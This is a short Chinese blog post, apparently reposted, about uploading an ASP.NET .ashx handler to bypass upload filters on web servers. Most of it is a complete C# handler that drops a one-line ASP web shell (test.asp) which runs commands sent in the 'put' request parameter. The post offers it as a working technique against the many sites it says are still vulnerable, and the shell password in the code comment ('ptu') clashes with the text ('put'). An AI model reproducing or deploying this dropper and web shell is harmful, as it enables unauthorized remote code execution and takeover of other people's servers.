ashx上传姿势

最新推荐文章于 2023-07-27 09:30:55 发布

aiquan9342

最新推荐文章于 2023-07-27 09:30:55 发布

阅读量131

点赞数

文章标签： c#

原文链接：http://www.cnblogs.com/xishaonian/p/6400585.html

版权

很多情况下网上流传的cer,asa,cdx……等等来上传，其实很多时候是不行的。但是ashx会好一些。

PS：其实这个姿势也蛮老了，但是还是相当一大部分站点存在。也是一个姿势所以写博文记住它。免得忘了。

解析后就会生成一个test.asp的马，你就可以连接这个test.asp 密码为:put

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
    
    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";
        
        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
        //这里是写入一句话木马   密码是：ptu
        file1.Write("<%response.clear:execute request("put"):response.End%>");
        file1.Flush();
        file1.Close();       
    }
    public bool IsReusable {
        get {
            return false;
        }
    }

}